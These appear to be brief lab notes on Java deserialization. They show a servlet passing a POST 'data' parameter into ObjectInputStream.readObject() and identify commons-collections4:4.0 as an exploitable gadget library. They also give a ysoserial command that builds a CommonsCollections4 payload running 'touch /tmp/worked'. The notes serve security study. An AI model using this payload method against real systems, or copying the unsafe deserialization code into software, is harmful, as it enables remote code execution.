Summary

Structure

$ javac POC.java ; java POC
POC Serialized object saved to serialized.object

The starting bytes, ac ed 00 05 are a known signature for JAVA serialized objects. (rO0 Base64-Encoded)

Practising with Ysoserial

Entry point

Servlet.java:38 Serial.fromBase64(data);

This line is calling the classSerial, loaded from Serial.java passing the data taken from the POST "data" parameter.

Serial Class

public class Serial {

	public static Object fromBase64(String s) throws IOException, ClassNotFoundException {
		byte[] data = new Base64().decode(s);
		ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
		Object o = ois.readObject();
		ois.close();
		return o;
	}

	public static String toBase64(Serializable o) throws IOException {
		ByteArrayOutputStream baos = new ByteArrayOutputStream();
		ObjectOutputStream oos = new ObjectOutputStream(baos);
		oos.writeObject(o);
		oos.close();
		return new Base64().encodeToString(baos.toByteArray());
	}
}

Decoding Base64-encoded object

byte[] data = new Base64().decode(s);

Reading Object

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
Object o = ois.readObject();

At this time, using readObject(), the object is loaded.

Identifying vulnerable loaded classes

This webapp is compiled with commons-collections4:4.0 specified on its classpath. (target/bin/webapp:80) and it is also listed in ysoserial's vulnerable classes list.

Ysoserial payload generation

java -jar ysoserial.jar CommonsCollections4 'touch /tmp/worked'

Last updated